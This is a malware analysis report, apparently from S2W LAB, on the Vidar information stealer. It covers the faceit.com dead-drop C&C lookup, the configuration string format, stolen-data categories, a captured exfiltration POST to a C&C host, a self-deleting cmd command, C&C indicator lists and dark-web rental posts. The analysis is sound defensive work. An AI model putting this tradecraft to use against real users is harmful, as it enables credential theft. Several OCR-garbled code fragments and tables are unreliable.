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Executive Summary

Vidar Stealer is a malware specialized in stealing information mainly distributed as spam mail or crack
version commercial software and keygen program. When installed, data such as infected device
information, account, and history recorded in the browser is collected and leaked to the C&C server.

In particular, it is one of the Stealer logs widely traded in DDW, and logs of infected PCs worldwide are
being sold.

Previously, Vidar Stealer communicated with the C&C server hard-coded inside the malware, but from
February 3, 2021, the method was changed to dynamically read the C&C server from the regular site.
Vidar stealer switches its target software frequently in order to steal credential information stored in
various browsers and programs. Therefore, the C&C server is continuously changing, so an automated
response is necessary.

S2W LAB has been analyzing Vidar Stealer malware behaviors and tracking changes and preventing

related damage by collecting logs that are traded through DDW.
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The Routes of Infection

Recently, Vidar Stealer is mainly disguised as a Windows activation software. Because the Windows product is
expensive, many people download illegal activation software to use it for free. In addition to Windows, many
cases are disguised as a cracked commercial software, keygen software, etc. Users may recognize the risk of the
software as most vaccines be able to detect and alert users, but they tend to ignore and execute them by taking

their own risk.
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Last year, Vidar Stealer was distributed in South Korea through spam emails impersonated by the Fair Trade
Commission. The contents in the email lure victims to open the attached file disguised as an official request letter.

If the victim executes the attached file disguised as a document file icon, the user will be infected by Vidar stealer.
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Email disguised as the Fair Trade Commission

As Vidar Stealer has not been distributed with high-level technologies or serious vulnerabilities so far, so if users

do not use illegal programs or access suspicious sites with caution, they can sufficiently prevent infection.
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Vidar Stealer Behavior Analysis

1. Loader

Vidar Stealer is packed with an unknown loader to prevent analysis. This loader’s characteristic is that data,
strings, binaries, and other data necessary for malicious behavior do not have regularity. Because of this feature, it
is challenging to detect this loader completely with a static method using detection signatures and Yara rules. In

addition, even if the loader is detected, there is a limit to accurately distinguishing what the actual internal

malicious code is.
e Code that assigns execute permission (VirtualProtect)
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String = @,
LstrcatA(&String, "VertualBriteet");
byte 427581 = "1';

far { L= @ i < I5DUBID; 441 )
byte 427587 = 'P';
byte_427589 = 'o'; ALT0RA eeBeRER0 3L B
dword_42757C = GetProcAddress(hModule, &String); 3} i = ranlrrmes(ipidicess, woytes;: Sa8 Arildrectade);
return (dword_42757C)(dword_42847C, uBytes, 64, v1); _ return result;

Sample? SampleZ

e Additional binary decoding routine
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if ( al == 3886 )
SetHandleInformation(®, &, @);

if ( uBytes == 486 ) for ( i =@; i < al; ++i )

; : {
IsSystemResumefAutomatic(); _ . .
RequestWakeuplLatency(LT_DONT_CARE); :;4_,,5“]32?72FDD(1 +al);
) *v4 A= V3;
dword_819370 = -875163516; if ( al == 25 )
dword_819374 = -1; {
sub_411038((v3 + v2) A (vi4 + (v2 >> 5)) + vie GetTimeFormatA(®, @, @, 8, @, @);
w3 += 1640531527, GetLocaleInfoW(®, @, &, @);
if ( l--v4 ) RegCreateKeyW(®, @, phkResult);
break; g
vl = vl2;
: &+
Samplel Sampled

On March 31, 2021, a malware analyst on Twitter (@c3rb3ru5d3d53c) named this Loader “DerpLoader” and
noted that Vidar Stealer, as well as other Stealer malware such as KPot Stealer and Racoon Stealer, use it. As a
result of the analysis, it was confirmed that all three stealers’ loaders are the same loader. Stealers mainly use EXE

distribution methods disguised as specific programs, so they are easily exposed to AV. It is assumed that various

Stealers use this loader to maximize detection avoidance.
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2. Vidar Stealer

Decode strings

When Vidar Stealer is executed by the loader, the encoded string is firstly decoded and the string required for
malicious behavior is extracted. As a decoding method, RC4 and Base64 are used in combination. For the RC4

Key, a string composed of 18 numbers is used, and each sample uses a different key.
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RC4_Key = "465026613113230294";
DecodeString_sub_40192A("AVRdmFLJCO1LAg3Lljrk=");

dword 48890C = v0O;

DecodeString_sub_40192A( "TO@dbxFoHHhKNGOrlirp4MM2tKg==");

LpszObjectName = vi;
DecodeString_sub_40192A("AUZbwBs=");

Encoded strings in Vidar Stealer
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Decoding strings using CyberChef

Dynamic collection of C&C servers

In the former Vidar Stealer malware, the C&C server address was hard-coded. However, starting on February 3

this year, a method of dynamically collecting C&C servers has started using API functions provided by
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“faceit.com”, a Russian game-related community. The advantage of this method is that the faceit.com site cannot

be blocked because it is a normal site.

According to the former method, if the C&C server used by the malware is taken down, the malware becomes
useless. However, in the case of dynamic collection, the C&C of the malware can be automatically updated by

changing the content of “faceit.com” without modifying the malware every time.

URL to get C&C
https://api.faceit[.]com/core/v1/nicknames/[Attacker's nickname]

Press enter or click to view image in full size

& C 0O & api.faceit.com/corg/vi/nicknames/vyh62lapin
f—

{"result":"ol ‘payload”:{"country”:“at”, “registration_status”:“active”,"about”:"static.parafia-strumiany.pl|®,"n
{}, "user_typ ‘user”,"games”:{}, "matches_not_played”:0,"settings”:

{"language":"en"}, "active team_id":null, "newsletter promotions”:false,"version":4,"created_by":"anonymous" , "favor
2021", "invitations_remaining”:10, “steam_id":"","ongoing_rooms":{}, “updated_by":"broker", "guid”:"4def9dla-beT?T-4fc
1], "status":"AVAILABLE" , "guest_info":{},"notification_tournament_joined starts":false,"friends_ids":[],"flag":"",
{"type":"free"}, "memberships”:[ "free” ], "newsletter_general":false,"nickname":"vyh62lapin”,“ongoing_tournaments':{
{},"website":"","verified”:false, "entity type":"user”},"server_epoch_time":1617255525, "message” : "Operation perfor

B, 0

["anonymous” ), “user”: "anonymous "}, "version":"2.176.5%})

C&C server is included in the ‘about’ field of JSON format data

Normal DLL file download

After that, Vidar Stealer downloads the normal DLL file required for malicious activity.

Normal DLL File Path
C:\ProgramData\

Normal DLL files related to Firefox

1. freebl3.dll

2. mozglue.dll
3. msvcp140.dll
4. nss3.dll

5. softokn3.dll

Normal DLL files related to C/C++

1. veruntime140.d11
2. msvep140.dll

Request configuration data

After downloading the DLL file, the malware requests a specific page containing the configuration values. On this

page, option values for which data to collect from the infected device are specified. Each option value is divided
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by ‘,” and consists of a total of 12 values. Among these, some option values are not actually used. In addition,

passwords.txt, information.txt, outlook.txt, files\Soft are unconditionally collected regardless of the options.
Example of configuration data pagel,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*

Option 1, 5, 6, 10, 11 : Not used

Option 2: Option to steal Browser’s Autofill, Cookies, Credit Cards data
Option 3: Option to steal Browser’s History, Downloads

Option 4: Option to steal Wallet data

Option 7: Option to steal Telegram data

Option 8: Option to get the Screen capture

Option 9: Option to steal Certain files

Get S2W’s stories in your inbox
Join Medium for free to get updates from this writer.
Remember me for faster sign in

When the 9th option is activated, all files with a specific file name are collected using the last string separated by

¢;>. The format is as follows, and the collected files are saved in files\Files\[ Work Folder].

String format for collecting files
[Save Folder];[Target Path];[Target file name list];[Maximum file size];[Seperator]

Data Theft

The target software list is as follows. The target browser may be different for each malware because the attacker
can customize the target browser list. As the version of Vidar Stealer goes up, the collection range is getting wider,

and as of March 21, the highest version identified is 38. All stolen information is collected in the path below.

Path for collecting data
C:\ProgramData\[A-Z0-9]{25}\files\
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Path Stored data Target information Option
Soft\ Specific software data Authy Deskiop Default
Telegramh Telegram session data Telegram option 7
Ethereum, Electrum, ElectrumLTC, Excdus, ElectronCash, ’
Wallets\ Cryptocurrency wallet data Mullidoge, JAXX, Atomic option 4
Files\ Target file Received file list aption 8
Autofily Autofill data in browser
- - - Target Chromium based browsers
CCy Credit card data in browser spdion 3
Cookies\ Cookie data in borwser - Target browsers
{IE, Edge, Firefox, Chrome, Pale Mcon, Watarfox,
, . Cyberfox, BlackHawk, lceCat, K-Meleon, Sputnik, Suhba,
Downloads\ Download history in browser Tencent, Michrome, Comodo, CocCoc, Kometa, Chedot,
360 Browser, Cent Browser, Amigo, Chromium, brave, QIP .
Surf, Maxthon5, Orbitum, Opera, 7Star, Epic Privacy option 3
History\ Page histary in browser Browser, uCozMedia, Torch, Vivaldi, Elements Browser,
QCBrowser, Mustang, TorBro Browser, URAN)
- Target browsers
. . - WinSCP, FileZilla
passwords.txt Account information - Purple onion, Pidgin Default
- Thunderbird
- Vidar Stealer version
- Date, MachinelD, GUID, HWID
- EXE path, work path
- Is 64bit, ProductMame, Computer name, User name,
r 3 B i 1 Resolution, OS language, Keyboard layout, Local time,
information. txt Device information Time zone Default
- Progessor name, Mumber of cores, RAM size, Video
card
- Process list, PID
- Installed software, Version
outlook.txt Qutlook accounts Cutlook Default
screenshot.jpg Screenshot Device option 8

Compress the collected folder

After collecting all the data, compress the “\files” folder into a ZIP file. The path of the created ZIP file is as

follows, and different file names are used for each version.

C:\ProgramData\[A-Z0-9]1{25}\[MachineGUID][0-91{10}.zip

Send data

Afterward, it transmits a ZIP file containing the stolen data along with the infected device ID, information, and the

version of Vidar to the C&C server.

Download additional payload

If the attacker sets additional functions, there is the function to download and execute additional malware after
leaking information to the C&C server. After requesting HTTP_QUERY_REFRESH, if the result contains the
string “http”, it accesses the given URL to read additional configuration data. After this process, finally, it extracts

the URL and downloads the malicious payload.

Flow of downloading additional payload
C&C Server — Download configuration data — Get download URL — Download another malwarePath and pa
C:\ProgramData\[A-Z0-9]{16}.exe “:Zone.Identifier”

Page 8 of 23


https://docs.google.com/spreadsheets/d/1ikqGXzddNnOsdcu1mldpLR71nsA33Hqjx4IaN5-duPE/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1ikqGXzddNnOsdcu1mldpLR71nsA33Hqjx4IaN5-duPE/edit?usp=sharing
https://docs.google.com/spreadsheets/d/1ikqGXzddNnOsdcu1mldpLR71nsA33Hqjx4IaN5-duPE/edit?usp=sharing

https://medium.com /s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557 aed

Self-deleting

After performing all malicious actions, Vidar Stealer deletes its own traces with the command below.

“C:\Windows\System32\cmd.exe” /c taskkill /im [Filename] /f & erase [File path] & exit

Analysis of the domain used in the attack

S2W LAB has been continuously monitoring and tracking Vidar Stealer’s C&C server construction method for

three months since February 2021.

1. api.faceit.com

The attacker first joined a game-related community in Russia called “faceit.com”. After that, the attacker has been
updating the C&C server by using the Profile section of the user information page, and the malware requests this

information through the API.
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C&C server stored in the user information page

The attacker has changed the community nickname for about three months and the C&C server collection URL.
There are a total of 6 nicknames identified so far, and the created time and collected C&C servers are summarized
below. When the nickname is replaced, the C&C server is not updated from the existing nickname, and the

existing C&C servers are no longer used.

List of “faceit.com” addresses used to collect C&C servers
https://api.faceit.com/core/vl/nicknames/yetveirrifcu, Created time: 2021-02—03 15:39:24 (UTC)
https://api.faceit.com/core/v1/nicknames/tronhack, Created time: 2021-02—19 13:13:17 (UTC)
https://api.faceit.com/core/v1/nicknames/slowyen, Created time: 2021-03-01 19:34:49 (UTC)
https://api.faceit.com/core/v1/nicknames/sergeevih, Created time: 2021-03—11 20:36:28 (UTC)
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https://api.faceit.com/core/v1/nicknames/dendytest, Created time: 2021-03—15 17:23:12 (UTC)
https://api.faceit.com/core/v1/nicknames/xeronxik123, Created time: 2021-03-18 11:07:19 (UTC)
https://api.faceit.com/core/v1/nicknames/vyh62lapin, Created time: 2021-03-30 20:46:17 (UTC)
https://api.faceit.com/core/vl/nicknames/sslamlssa, Created time: 2021-04-26 15:50:43 (UTC)
https://api.faceit.com/core/v1/nicknames/ramilgame, Created time: 2021-05-04 08:40:44 (UTC)
https://api.faceit.com/core/v1/nicknames/legomind, Created time: 2021-05-17 23:39:57 (UTC)
https://api.faceit.com/core/v1/nicknames/pavel23puef, Created time: 2021-05-24 17:09:30 (UTC)

2. C&C server

The attacker used many domains and IPs because the C&C server was changed in one day or every 3 to 4 days.
We arranged the C&C server domains that we collected over three months, and we were able to confirm some

characteristics.
e Most domains registered through NameSilo
Press enter or click to view image in full size
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209.141.45.236 NameSilo, LLC 1585.99,133.254 7B.46:.142.223 31.14.238.188

Numerous C&C servers registered through NameSilo

o E-mail that the attacker used to register the domain. In particular, “xeronxik123” is strongly suspected as
the ID was also used as the faceit.com nickname.
1) kiseleva.veronika.73@gmail.com

2) xeronxik123@gmail.com

Press enter or click to view image in full size
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kiseleva.veronika. 73@gmail.com xeronxik123@gmail.com

Initially, the attacker registered and used the domain, but after that, it seems that the normal domain was
compromised and used as a C&C server. Recently, Vidar communicates with IP type C&C server, and sometimes

it is reused when the nickname is changed.
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e Vidar Stealer C&C Server List

The latest version of C&C Server list is continuously updated on the Google Sheet
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Source C&C server Detected
Hardcoded inside Malware shirleyhorn.com 22.Jan.21
Hardcoded inside Malware centos8lts.com 26.Jan.21
Hardcoded inside Malware guilmettemoron.com 30.Jan.21
Hardcoded inside Malware customkitchaid.com 1.Feb.21
Hardcoded inside Malware protestbonjer.ml 3.Feb.21
https://api.faceit.com/corefv1/nicknames/yetveirrifcu dockclock.pro 4.Feb.21
https://api.faceit.comfcorefv1/nicknames/yetveirrifcu kenutduk.duckdns.org 5.Feb.21
https://api.faceit.com/corefv1/nicknamesfyetveirrifcu fuckspha.com 5.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu duckclack.com 8.Feb.21
https://api.faceit.comfcorefv1/nicknamesfyetveirrifcu centoswiki.co.ug 11.Feb.21
https://api.faceit.com/core/v1/nicknames/yetveirrifcu goodssogood.com 11.Feb.21
https://api.faceit.com/corefv1/nicknames/yetveirrifcu bittracker.co.ug 13.Feb.21
hitps://api.faceit.comfcorefv1/nicknamesfyetveirrifcu didntreadlol.com 15.Feb.21
https://api.faceit.com/caore/v1/nicknames/yetveirrifcu 185.99.133.43 16.Feb.21
https://api.faceit.com/corefv1/nicknames/yetveirrifcu 85.217.222.195 17.Feb.21
https://api.faceit.comfcorefvi/nicknames/yetveirrifcu hydrakupi.co.ug 18.Feb.21
https://api.faceit.com/corefv1/nicknamesfyetveirrifcu paperone.co.ug 19.Feb.21
https://api.faceit.com/core/v1/nicknames/tronhack brainstormer.co.ug 23.Feb.21
https://api.faceit.com/corefv1/nicknames/tronhack fastkisel.co.ug 24 Feb.21
https://api.faceit.com/core/v1/nicknames/slowyen flinstonehouse.co.ug 2.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen mail .kiselev.co.ug 3.Mar.21
https://api.faceit.com/corefv1/nicknames/slowyen 92.222.241.84 4.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen bocksmaoke.com 5.Mar.21
https://api.faceit.com/corefv1/nicknames/slowyen 209.141.45.236 5.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen 111.90.150.162 5.Mar.21
https://api.faceit.com/corefv1/nicknames/slowyen blockbock.com 10.Mar.21
https://api.faceit.com/core/v1/nicknames/slowyen bockbock.top 10.Mar.21
hitps://api.faceit.com/core/v1/nicknames/sergeevih zockzock.top 13.Mar.21
hitps://api.faceit.com/core/v1/nicknames/sergeevih lookluck.net 16.Mar.21
https://api.faceit.com/core/vi/nicknames/sergeevih djalil.top 18.Mar.21
hitps://api.faceit.com/core/v1/nicknames/sergeevih yourpro.top 18.Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih juhjuh.com 19.Mar.21
https://api.faceit.com/corefv1/nicknames/sergeevih choohchooh.com 22 Mar.21
https://api.faceit.com/core/v1/nicknames/sergeevih ciaociaoline.top 24 Mar.21
https://api.faceit.comfcore/vi/nicknames/sergeevih ciaociaoline.com 25.Mar.21
https:/fapi.faceit.com/core/vi/nicknames/sergeevih data.parafia-strumiany.pl |26.Mar.21
At | Sl paratssiumianysl | 29ar21
hitps:/fapi.faceit.comfcorefv1/nicknamesfvyh62lapin | promo.parafia-strumiany.pl | 4.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin | cache.krishgarden.com 6.Apr.21
https://api.faceit.com/core/v1/nicknames/dendytest gate.akadns9.net 14.Apr.21
https:/fapi.faceit.com/corefvi/nicknames/vyh62lapin | upload.krishgarden.com | 14.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin smtp.omplcement.com 15.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin | static.helpmybusiness.ga | 16.Apr.21
https:/fapi.faceit.comfcorefv1/nicknames/vyh62lapin |static.accelerator-introlab.ml| 16.Apr.21
https:/fapi.faceit.com/corefv1/nicknamesfvyh62lapin ftp.dwysokinski.me 19.Apr.21

https:/fapi.faceit.com/core/v1/nicknames/dendytest

163.172.40.27

19.Apr.21
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https://api.faceit.com/core/v1/nicknames/vyh62lapin 88.198.106.10 19.Apr.21
https:/fapi.faceit.com/core/v1/nicknames/vyh62lapin 4912.77.13 20.Apr.21
https://api.faceit.comfcorefv1/nicknames/vyh62lapin
https://api.faceit.com/core/v1/nicknames/ramilgame 25,185.127.80 22Apr21
https:/fapi.faceit.com/corefv1/nicknames/vyh62lapin 78.47.87.144 23.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin
https://api.faceit.com/core/vi/nicknames/sslamissa IHBERS:ERS 24.Apr.21
https://api.faceit.com/core/v1/nicknames/vyh62lapin 168.119.226.10 24 Apr.21
https:/fapi.faceit.com/corefv1/nicknames/vyh62lapin
https://api.faceit.com/core/v1/nicknames/sslamissa 78.47.81.226 26.Apr.21
https.//api.faceit.com/corefv1/nicknames/sslamissa 116.203.140.224 29.Apr.21
https:/fapi.faceit.com/core/v1/nicknames/sslamlssa
https://api.faceit.com/core/v1/nicknames/ramilgame e i Nt
https:f/api.faceit.com/corefv1/nicknames/sslamissa
https://api.faceit.com/core/v1/nicknames/ramilgame 18824.185:200 1Map21
https://api.faceit.com/core/v1/nicknames/ramilgame 159.69.87.239 7.May.21
https://api.faceit.com/core/v1/nicknames/ramilgame 185.99.133.218 10.May.21
https://api.faceit.com/corefv1/nicknames/ramilgame 195.201.94.135 10.May.21

Vidar Stealer C&C Server List

3. Admin site

Press enter or click to view image in full size

Vidar Pro
D ondy [

my-vidar.com/auth/login

Vidar Stealer can manage infected devices and control overall statistics through the admin site “my-vidar.com”.

Vidar Stealer in DDW

1. Vidar Stealer rental post
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Vidar Stealer is a MaaS-type malware sold on dark web forums. As shown in the post below, sales are being made,
and they are actively trading from at least November 2018 to the present. Attackers collect information by
targeting specific users with the rented malware or sell logs collected to an unspecified number of users again on
DDW.

* Prices

7 days — $130
14 days — $200
30 days — $300
60 days — $580
90 days - $750

Press enter or click to view image in full size

%ﬁ! [RENTAL] VIDAR - A directional stealer for your work. ol 1w

ol By Loadbaks , Hovenber

Seftware] - mal & e, eryps

Bl = o e s i

Loadbaks Pusted Havarribes 4, 2008 (oditad) Besart poex
Qigatryte

[ VIDAR - A directional stealar Tor your fob,

Product screenshotss

Maln page - BitpsIbb.ee/MNQan) J Logs pago « MRS Ob.cafRCGWIER 7 Scitings page « httpsalibh.ca/eBBIPE / Label satbings « Aittpe:/bh ooy ChgRD0R

ATTENTION: The topic is solely for the reviews of this product

We present to you our product, which has a fairly good reputation. This stealer |s sharpened to sutomate your work.
& little abaut eur project

Vidar « ceveloped in G ++ ot the end of 2008 and sinos Lhen has conlisued stable work, whith proves isel! grily on the posilive side, We treal each cliend with dignified
aitention, who respect and valug u,

This stesler has it own keam, namely WEB, SOFT developers, as well 25 a parsonal and experiénced system administrator.

We have gur twn prajectien servers (Mot PASTELUXY and constastly change Etermediate 1P between aur server up ta several Bmes a day. We are well protected fam DOOS!
Every T fays we PEIEBTE AR UpLats Snd Ehange Ihe domain, keesing the ald Bislds" notes while INE damarys are In warking arder,

Gur praject hak automatic paymant bn BTC, unspent balanca can b0 withdramn at any Ume (Hokl for witharawad for 3-4 daye)
Our product collects cartain dats:

1, AN poular brawsers of different Bif sires (Pecowovds, soakéces, awafi)

2. Walet waliobs (AN actanding to the waliol. dat template, 25 well a5 unigue watleés acconding fo the redes)

3, £6 - Card data obhar than OV (EWVW does Aok Sava Bhe biemear (e

4, Filgs acooreging (o your satlings (Modifed gh-QualTy and 1ast Me grater)

5. Tedegram avthanzaton (Windows verson)

&, Site Pateny (LAT 10,000 entried from & partiuidr browsér)
7. FTP, WINSCP, MAIL (Colect Jate comictly, with covredily specificd parts)

Our advantages:
D Keveal hidden contents
Prices for our product

Fays - 130 % § 14 days - 200 & f 30 cays - 300 &/ S0 cdavs - 580 & f S0 days - 750 %

Vidar Stealer sales post on the dark web
e Inside the Admin page

Press enter or click to view image in full size
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2. Vidar Stealer Log Sales Post

Posts that sell logs collected by Vidar Stealer to DDW are also being found steadily. Mostly, rather than logs for a

single target, many logs containing various countries are sold. It is often found that such postings also include

Korea.

Press enter or click to view image in full size

Page 15 of 23



https://medium.com /s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557 aed

ss to 23k Mix logs.
020 a1 0643 PM

# Xyoner

HREE
E-RERRE R
1R A&N

i
1

134
7

Apr 2020

IE"EBAdN
12400

IGREPINNHAD

DIHRSEXNANNEA4F

Ellﬁ?“sllﬂll‘ﬁ_'".’.i‘.ll'I!lllﬂﬁlﬂ'_‘?

INEnNsnINESsE)SsHRannmi

Vidar Stealer Log Sales in Deep Web Forum

Since the collected log files are divided into KR as below, it is easy to identify that they are Korean victims, and

password information and infected device information are stored inside the file.
Press enter or click to view image in full size

4548 KR 115. 6.06-07-20
#* v Q

82
0

glel
<

0|8 ~  2EY 37|
»> Autofill 20214 28 229 2% 12:35 ==
| cC 20214 28 228 2% 12:35 --
cookie_list.txt 20204 78 6Y 2 12:11 1KB
> Cookies 202149 23 22¥€ 2% 12:36 ==
> Downloads 2021 238 22Y 2% 12:35 --
» Files 20213 28 22 2% 12:35 --
[ 2 History 20214 28 22 25 12:35 --
information.txt 20204 78 62 2&F 1211 3KB
passwords.txt 20204 78 6Y 2% 12:10 OHIO|E
_ screenshot.jpg 20202 78 64 2F 12211 157KB

Vidar Stealer log files
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Press enter or click to view image in full size

2s_Mozilla Firefox_kdbbGulg.default. txt

cookies_Mozilla Firefox_kdbbEulg.default.txt x

Jownload . 4,
.github.com FALSE FALSE 21242391
.google.com FALSE / TRUE 15B8B988 ShBqYLVDaGMyMGneIS6BocschNrawFal
.github.com TRUE ! TRUE 1556128 13856768
www.naver.com  TRUE i TRUE 149
.naver.com TRUE /  TRUE 3071028! » .aHJr+ech/3k0502c3sDubbpT1559A8;
.veta.naver.com TRUE ! TRUE 149: N538, LA
.naver.com TRUE TRUE 2524648/
.nv.veta.naver.com TRUE /  TRUE
.nid.naver.com TRUE J/  TRUE 158
.google.co.kr FALSE / TRUE 1589 . rdtAAKUApLdcaQdBClybJgWon7uI fHy!

Korean site cookie information in the log file

Conclusion

The latest version of all Vidar Stealer malicious code C&C servers are constantly being changed through a
dynamic acquisition method, but only one C&C server is active at the time of execution. Therefore, if a new C&C
server can be collected by monitoring the C&C server collection URL, information leakage can be prevented even
if it is infected with a malicious code, and measures can be taken by detecting infected devices attempting to

connect.

S2W LAB is monitoring the continuously updated Vidar Stealer C&C server collection URL, and through this, the
C&C server is also being collected. In addition, we continue to analyze and track changes in Vidar Stealer’s C&C

connection method.

In the past, Stealer malware caused direct damage to individuals rather than companies, but with the recent
increase in telecommuting due to the coronavirus, Stealer malware likely to steal accounts that can access
corporate business networks. Since account stealing is attempted not only for web browsers but also for various
software, if important accounts are stolen, it is possible to infiltrate the corporate network. So, if these logs are

sold to ransomware attack groups, the damage is out of control.

In order to prevent Vidar Stealer infection, users should be cautious of executing programs from unknown sources,

executing cracked or illegal activation programs, and opening spam emails.

We also provide futher information regarding various Stealers via Xarvis Enterprise. Please refer to

Press enter or click to view image in full size
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Relation Graph of Vidar Stealer on Xarvis Enterprise
Press enter or click to view image in full size
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Credential Leak Monitoring Dashboard inside Xarvis Enterprise
Appendix

Appendix 1: Example of the leaked file

Filename: information.txt
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Version: 37.5

Date: Fri Feb 12 08:24:56 2021
MachineID: eeeb5d54-7880-42a7-b542-739bbc26cf4b
GUID: {846ee340-7039-11de-9d20-806e6T6e6963}
HWID: eeeb5d54-7880-42a7-b542-9d20-806e6f6e6963

Path: C:\Users\admin\AppData\Roaming\build.exe
Work Dir: C:\\ProgramData\\A2KA889SJFAXH2KBIL2MLRZVK

Windows: Windows 7 Professional [x64]
Computer Name: USER-PC

User Name: admin

Display Resolution: 1280x720

Display Language: en-US

Keyboard Languages: English (United States)
Local Time: 12/2/2021 8:24:56

TimeZone: UTC-0

[Hardware]
Processor: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
CPU Count: 4
RAM: 4095 MB
VideoCard: Standard VGA Graphics Adapter

[Processes]
—————————— System [4]
—————————————————————————————— smss.exe [272]
- csrss.exe [352]
- wininit.exe [400]
- csrss.exe [412]
- winlogon.exe [456]
- services.exe [496]
- lsass.exe [504]
- lsm.exe [512]
- svchost.exe [616]
- IMEDICTUPDATE.EXE [1224]
- srvpost.exe [1356]
- SearchIndexer.exe [1412]
- taskhost.exe [1796]

[Software]
Adobe Flash Player 27 ActiveX [27.0.0.187]
Adobe Flash Player 27 NPAPI [27.0.0.187]
Adobe Flash Player 27 PPAPI [27.0.0.187]

Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.21.27702 [14.21.27702]
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.21.27702 [14.21.27702]
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Skype 7.39 [7.39.102]

Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.21.27702 [14.21.27702.2]
-2019 Redistributable (x64) - 14.21.27702 [14.21.27702.2]

Realtek AC'97 Audio

Appendix 2: Communication

e api.faceit.com connection packet (HTTPS connection)

Press enter or click to view image in full size

L 39 16.427688 192.168.100.166 184.17.63.58 TLSv1.2 228 Client Hello

Frame 39: 228 bytes on wire (1824 bits), 228 bytes captured (1824 bits)
Ethernet II, Src: @6:b2:99:6d:78:fe (P6:b2:99:6d:78:fe), Dst: RealtekU 36:3e:ff (52:54:80:36:3e:ff)
Internet Protocol Version 4, Src: 192.168.100.166, Dst: 184.17.63.5@
Transmission Control Protocol, Src Port: 49356 (49356), Dst Port: 443 (443), Seq: 1, Ack: 1, Len: 174
4 Secure Sockets Layer

4 TLSv1.2 Record Layer: Handshake Protocol: Client Hello

Content Type: Handshake (22)

Version: TLS 1.2 (exe3e3)

Length: 169

4 Handshake Protocel: Client Helle
Handshake Type: Client Hello (1)

Length: 165
Version: TLS 1.2 (exe3e3)
Random

Session ID Length: @
Cipher Suites Length: 52
Cipher Suites (26 suites)
Compression Methods Length: 1
Compression Methods (1 method)
Extensions Length: 72
4 Extension: server_name
Type: server_name (8xe8e8)
Length: 19
4 Server Name Indication extension
Server Name list length: 17
Server Name Type: host_name (@)
Server Name length: 14
Server Name: api.faceit.com
Extension: elliptic_curves
Extension: ec_point_formats
Extension: signature_algorithms
Extension: Extended Master Secret
Extension: renegotiation_info

e JSON data received from C&C

"result": "ok",

"payload": {
"country": "ca",
"registration_status": "active",
"about": "duckclack.com|",
"matches_left": 0,
"private_tournaments_invitations": {},
"user_type": "user",
"games": {},
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"matches_not_played": 9,
"settings": {
"language": "en"
H
"active _team_id": null,
"newsletter_promotions": false,
"version": 4,
"created_by": "anonymous",
"favorite_tournaments": [],
"activated_at": "Wed Feb 03 15:39:24 UTC 2021",
"invitations_remaining": 10,
"steam_id": "",
"ongoing_rooms": {},
"updated_by": "bee7a37c-54b8-4dac-a211-0329602f9398",
"guid": "5ee7a37c-54b8-4dac-a211-032960219398",
"private_tournaments": [],
"status": "AVAILABLE",
"guest_info": {},
"notification_tournament_joined_starts": false,
"friends_ids": [],
"flag": "",
"created_at": "Wed Feb 03 15:39:24 UTC 2021",
"membership": {
"type": "free"
b
"memberships": [
"free"
1,
"newsletter_general”: false,
"nickname": "yetveirrifcu",
"ongoing_tournaments": {},
"socials": {},
"website": "",
"verified": false,
"entity_type": "user"
I
"server_epoch_time": 1613118241,
"message": "Operation performed correctly.",

env": "prod",

"you_are": {
"roles": [
"anonymous"
P

"user": "anonymous"

b
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"version": "2.174.3"

o Configuration data for stealing information

1,1,1,1,1,1,1,0,1,1,250,Desktop; %DESKTOP%\ ; *. txt :*.dat : *wallet*.*: *2fa*.*: *backup*.*:*code*.*: *passw

e Captured Packet to breach victim’s data

POST / HTTP/1.1

Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1

Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0

Content-Type: multipart/form-data; boundary=1BEFOA57BE110FD467A

Content-Length: 8698

Host: duckclack.com

Connection: Keep-Alive

Cache-Control: no-cache

--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="hwid"

eeeb5d54-7880-42a7-bh542-9d20-806e676€6963
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="os"

Windows 7 Professional
--1BEFOA57BE110FD467A
Content-Disposition: form-data; name="platform"

x64
--1BEFQA57BE110FD467A
Content-Disposition: form-data; name="profile"

399
--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="user"

admin
--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="cccount"

0
--1BEF@A57BE110FD467A
Content-Disposition: form-data; name="fcount"

2
--1BEFOA57BE110FD467A
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Content-Disposition: form-data; name="telegram"

0
--1BEF@AS7BE110FD467A
Content-Disposition: form-data; name="ver"

37.5
--1BEFQA57BE110FD467A
Content-Disposition: form-data; name="ccount"

0

--1BEF@A57BE110FD467A

Content-Disposition: form-data; name="logs"; filename="eeeb5d54-7880-42a7-b542-739bbc26cf4b85683630
Content-Type: zip

PK
PK
--1BEF@A57BE110FD467A--

Appendix 3: MITRE ATT&CK

Press enter or click to view image in full size
Execution Defense Evasion m‘“ Discavery Collection

Source: https://medium.com/s2wlab/deep-analysis-of-vidar-stealer-ebfc3b557aed
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